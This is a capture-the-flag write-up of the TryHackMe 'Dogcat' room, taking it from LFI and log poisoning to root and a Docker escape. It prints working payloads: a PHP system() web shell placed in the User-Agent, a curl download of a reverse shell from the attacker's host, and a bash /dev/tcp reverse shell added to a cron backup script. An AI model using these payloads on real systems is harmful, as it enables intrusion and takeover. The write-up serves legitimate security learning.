Cover photo

[TryHackMe] Dogcat (Write-up)

https://tryhackme.com/room/dogcat

Introduction

Dogcat is a medium difficulty CTF box with four flags to capture in total. The box demonstrates the following vulnerabilities (SPOILER ALERT: skip this section to avoid spoilers):

  • Local File Inclusion (LFI)

  • Log poisoning for code injection

  • Privilege escalation using a misconfigured privilege

  • Container escape by manipulating a script in a host-shared folder.

In this article, the refers to my machine’s IP address, and refers to the dogcat machine’s IP address. Tools and Resources Used These are the main tools I used to solve the box: Kali Linux OS Firefox web browser Nmap Dirbuster pentestmonkey’s PHP reverse shell script GTFObins Netcat Methodology 1. Scanning I start with port scanning to determine which OS is running and see which ports are running services: sudo nmap -O -sV <victim IP>. I scan the most common 1000 ports, which is the default when a port range is unspecified. I add -O to check for Operating Systems, which is useful information when choosing/crafting payloads to run on the victim machine. I add -sV to check for service versions, which is useful for checking for known vulnerabilities online. I receive the following results: Nmap scan report for <victim IP> Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) ... It looks like the machine is running on Ubuntu Linux. There is an Apache httpd service on port 80 that seems to be running on Debian, which is strange. This is probably because nmap has some limitations on detecting the OS of a service running from a docker container, which I later learn is the case for the Apache service. For now, I am satisfied with finding that the machine runs on Linux. Next, I run directory enumeration with Dirbuster: dirb http://<victim IP> -X ,.php. Since the box’s description tells me that the website is built with PHP language, I am sure to find some files with a .php extension. With dirb, I can specify the extensions I want to search with -X. Here, I search all files and folders with either no extension (hence the comma after space) or a .php extension. I receive the following results: ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Dec 11 15:28:54 2022 URL_BASE: <victim IP> WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (,.php) | ()(.php) [NUM = 2] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://<victim IP>/ ---- + http://<victim IP>/cat.php (CODE:200|SIZE:26) ==> DIRECTORY: http://<victim IP>/cats/ + http://<victim IP>/flag.php (CODE:200|SIZE:0) + http://<victim IP>/index.php (CODE:200|SIZE:418) + http://<victim IP>/server-status (CODE:403|SIZE:277) ... There are three interesting pages: index.php, cat.php, and flag.php. I assume there is also a dog.php page and a dogs folder which Dirbuster did not catch. Now that I have some attack surface to work with, it is time to visit the website. Accessing the IP address from my web browser gives me the following web page: Dogcat website Clicking the buttons gives me cute pictures of dogs and cats, along with a message “here you go!”. Each press of a button loads a random cat/dog image from a pool of images. http://<victim IP>/?view=cat The web address of the page resulting from pressing the cat button is http:///?view=cat. Hence, clicking the cat button is equivalent to assigning the value “cat” to the view variable and sending it as a GET request to the website which runs a PHP script that responds according to the value. At this point, I try to visit all the interesting pages I found using Dirbuster earlier. /index.php yields the same web page as the front page. /cat.php yields a single picture of a cat and nothing else. /dog.php yields a single picture of a dog and nothing else. /flag.php yields a blank page. Note that visiting /cat.php and /dog.php pages triggers the exact same behaviour as clicking on the buttons, except the texts don’t appear. Based on this, I have an idea about what could be going on under the hood. When I pass the value “cat” to variable view, the website is probably running the cat.php script which loads a random image from the cats folder and appends that output (image of cat/dog). This means that I can potentially use the view variable to run other PHP scripts in the directory. 2. Local File Inclusion (LFI) Previously, I found index.php and flag.php files using Dirbuster. When I set the view variable to index, flag, or any other value besides cat or dog, I get the following message: http://<victim IP>/?view=test On the other hand, when I set view=cat1, it gives a different message. http://<victim IP>/?view=cat1 Apparently, there is a filtering process in the script that detects whether the value given contains the word dog or cat. How do I craft a value to load the file flag.php while also mentioning “cat” in the value? I need to exploit a LFI vulnerability. Specifically, the string “cats/../flag” points to the flag.php file within the parent folder of cats. Visiting this page results in a message “Here you go!” and nothing else. /?view=cats/../flag It works, but result is blank because flag.php is a PHP script. Upon encountering a PHP script (denoted by tag) within HTML code, the server’s PHP parser executes the script rather than showing it to me. I need to convert the script into a form that is unrecognizable by the PHP parser. Luckily, PHP has a function that can convert I/O streams into base64 encoded strings. More information is available here: https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/ Setting view=php://filter/convert.base64-encode/resource=cats/../flag yields the base64 encoded string of flag.php code. " Here you go!PD9...Pgo= " The following command can decode the string and reveal flag #1: echo PD9...Pgo= | base64 -d. I can use the same filtering trick to see the source codes of cat.php and index.php; the latter turns out to have some important information. Setting view=php://filter/convert.base64-encode/resource=cats/../index yields the base64 encoded string of index.php code. " Here you go!PCF...Cg== " I run echo PCF...Cg== | base64 -d to decode the encrypted message. I get the following source code. <!DOCTYPE HTML> <html> ... <body> <h1>dogcat</h1> <i>a gallery of various dogs or cats</i> <div> ... <?php function containsStr($str, $substr) { return strpos($str, $substr) !== false; } $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; if(isset($_GET['view'])) { if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) { echo 'Here you go!'; include $_GET['view'] . $ext; } else { echo 'Sorry, only dogs or cats are allowed.'; } } ?> </div> </body> </html> Although I am not fluent in PHP, I can guess the following information: The function containsStr is used to verify whether the view variable found in the GET request contains the string “cat” or “dog”. If found, the code prints “Here you go!” to the screen and appends the output of whichever file/script was assigned to the view variable. The GET request can also specify the extension of the file via the ext variable. If none is given, then .php is used by default. The last bullet point means that I can use the view variable to load not only .php files, but any file as long as I specify the extension. Moreover, if I can find a way to manipulate the contents of a file in the directory, I can inject PHP code to get Remote Code Execution (RCE). 3. Log Poisoning An Apache website commonly keeps an access log file that records some information about the requests made by users of the website. Making a request with an injected PHP code and then loading the log file on the browser would run the PHP code, achieving RCE. According to the following resource, the log file can be found in /var/log/apache/access.log, /var/log/apache2/access.log, or /var/log/httpd/access.log. Since I am working with Apache version 2.4.38, I try to load the second one. https://unix.stackexchange.com/questions/38978/where-are-apache-file-access-logs-stored Since the string value for the view variable needs to contain the word “cat” or “dog”, I climb up the directory hierarchy from the cats folder all the way up to the root directory. From there, I climb down to the log file location. I also set a blank value to the ext variable in order to stop the program from attaching a .php extension to the file by default. The resulting value is view=cats/../../../../../../../var/log/apache2/access.log&ext=, which loads the access logs in my browser when entered into the address bar. Access logs I prefer to view this content using the page source feature of my browser, which is neater. Page source of access logs Here is an isolated example of a single entry in the log. <attacker IP> - - [12/Dec/2022:19:18:00 +0000] "GET /?view=php://filter/convert.base64-encode/resource=cats/../index HTTP/1.1" 200 1251 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0" The entry consists of the following information: User’s IP address Date and time of request Type of request (GET) Request content HTTP response Content length User agent Among these, I identify two fields that can potentially carry a PHP injection code: request content and user agent. I try manipulating the request content first, which can be done by injecting the PHP code directly into the web address bar before sending the request. I try sending the payload view=cats/../../../../../../../var/log/apache2/access.log&ext=&nothing=<?php echo “hello”;?>, which makes a new entry <attacker IP> - - [12/Dec/2022:20:05:11 +0000] "GET /?view=cats/../../../../../../../var/log/apache2/access.log&ext=&nothing=%3C?php%20echo%20%E2%80%9Chello%E2%80%9D;%3E HTTP/1.1" 200 1724 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0" This is not working. The problem is that the special characters in the injected code have been turned into URL encoded characters. There is no way to load raw special characters in this field, so I move on to the next option: user agent. The user agent can be changed to whatever value I choose before sending the request. I use Curl on the command line to achieve this (alternatively, I could use Burpsuite): curl http://<victim IP>/ -H "User-Agent: <?php echo ‘hello’;?>". The request creates the following log entry. <attacker IP> - - [12/Dec/2022:20:29:09 +0000] "GET / HTTP/1.1" 200 615 "-" "hello" The user agent field is “hello” and shows no PHP code, which is working as intended. Now I know that this method works, I can craft a RCE payload. PHP has a function called system which executes the given parameter value as a system command. I send the following request to the dogcat machine: curl http://<victim IP>/ -H "User-Agent: <?php system(\$_GET['code']);?>". This allows me set the variable code to whatever command I want to run on the dogcat machine. I test the RCE by sending view=cats/../../../../../../../var/log/apache2/access.log&ext=&code=ls which would list files in the current directory. <attacker IP> - - [12/Dec/2022:21:03:30 +0000] "GET / HTTP/1.1" 200 615 "-" "cat.php cats dog.php dogs flag.php index.php style.css " Now I have RCE. I explore the directory to find flag #2 in the parent folder: view=cats/../../../../../../../var/log/apache2/access.log&ext=&code=cd ..;ls <attacker IP> - - [12/Dec/2022:21:03:30 +0000] "GET / HTTP/1.1" 200 615 "-" "flag2_QMW7JvaY2LvK.txt html " and I display flag #2: view=cats/../../../../../../../var/log/apache2/access.log&ext=&code=cd ..;cat flag2_QMW7JvaY2LvK.txt 4. Getting Shell Technically, since I have RCE, I can try to get the other flags by typing the commands into the code variable as I have been doing. However, this is very limited since my session would not persist between commands (e.g. moving to different folders), not to mention the cumbersome payload crafting processes and limited feedback. To solve this problem, I need to get a shell. There are multiple well-known ways to get shell, but not all of them work. For example, the dogcat machine doesn’t seem to have Netcat, so that option is not available. Instead, I download a PHP reverse shell script to the dogcat machine using RCE and execute the script using LFI. Here are the steps I took: Download pentestmonkey’s PHP reverse shell script (I named the file shell.php). Edit the script to specify the attacker’s IP address and desired port to listen on. Host a server from my machine using Python3 from the folder containing the shell script. Use command: python3 -m http.server 80 Use RCE from dogcat machine to download the said script from the attacker’s server: /?view=cats/../../../../../../../var/log/apache2/access.log&ext=&code=curl http://<attacker IP>/shell.php -o /var/www/html/shell.php Run a Netcat listener from the attacker’s machine on the port specified in step 1. Execute the PHP script using the LFI vulnerability I found earlier. /?view=cats/../shell The following message shows on my (attacker) machine’s terminal. Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from <victim IP>. Ncat: Connection from <victim IP>:44410. Linux 2e90ce63b8fc 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux 21:53:10 up 1:30, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ Now I have the shell of the user www-data from the victim’s machine. 5. Privilege Escalation I need to get the shell of root user in order to have all the freedom to read/write/execute all files, which is most likely required to get the next two flags. I can view misconfigured privilege information using the command sudo -l, which yields: Matching Defaults entries for www-data on 2e90ce63b8fc: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User www-data may run the following commands on 2e90ce63b8fc: (root) NOPASSWD: /usr/bin/env Apparently, www-data can run the /bin/env binary with root privilege using sudo. Env is a Unix program that can be used to execute any command. Many binaries have the ability to produce a root shell when given a root privilege, and env is one of them. GTFObins website contains information about how this can be achieved. https://gtfobins.github.io/gtfobins/env/ sudo env /bin/sh spawns the root shell. Flag #3 is found in the /root directory, which is now accessible to me. Before moving on, I notice something weird. The output of sudo -l reads “User www-data may run the following commands on 2e90ce63b8fc”. What is 2e90ce63b8fc? On my attacker machine, the word “kali” is used rather than this sequence of random numbers and letters. It turns out that this is a hash of a docker container’s name, which means that I am in a docker container right now. Another way to confirm this is to use the command cat /proc/self/cgroup, which outputs information about the process which invoked the command: 12:hugetlb:/docker/9948d... 11:freezer:/docker/9948d... 10:memory:/docker/9948d... 9:blkio:/docker/9948d... 8:perf_event:/docker/9948d... 7:pids:/docker/9948d... 6:net_cls,net_prio:/docker/9948d... 5:cpuset:/docker/9948d... 4:cpu,cpuacct:/docker/9948d... 3:devices:/docker/9948d... 2:rdma:/ 1:name=systemd:/docker/9948d... 0::/system.slice/containerd.service Evidently, we are in a docker container. The fourth flag is probably outside of this container. 6. Docker Container Escape After searching for clues in the file system, I find a strange folder called backups in the /opt directory. /opt is a root folder that usually contains commercial programs on the system, hence the backups folder does not seem to belong there. Inside the folder are two files: backup.sh and backup.tar. The former is a two-line script: #!/bin/bash tar cf /root/container/backup/backup.tar /root/container This tar command intends to create backup.tar at /root/container/backup/ from the files at the location /root/container/. I deduce that this backup.tar is the same file that my shell is able to see in the /opt/backups/ folder. The host machine is sharing its /root/container/backup/ folder with the docker container (which I am in currently), and the entry point of the said folder from the docker container is at /opt/backups/. This means that the script that is running in this folder is actually running in the host machine, and not within the docker container, so I can edit the backup.sh script to run commands on the host machine. At this point, I have to assume that the backup.sh script is automatically running at certain time intervals. Otherwise, there would be no way for me to trigger the host machine to run this script. With this assumption in mind, I append a well-known bash reverse shell command bash -i >& /dev/tcp/<attacker IP>/6666 0>&1 to backup.sh, and set up a Netcat listener on port 6666 on the attacker machine: nc -lvnp 6666. After waiting a minute, I get a successful connection. Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::6666 Ncat: Listening on 0.0.0.0:6666 Ncat: Connection from <victim IP>. Ncat: Connection from <victim IP>:32968. bash: cannot set terminal process group (27236): Inappropriate ioctl for device bash: no job control in this shell root@dogcat:~# id id uid=0(root) gid=0(root) groups=0(root) root@dogcat:~# I have the root shell on the host machine. Flag #4 is located in the /root directory. The End.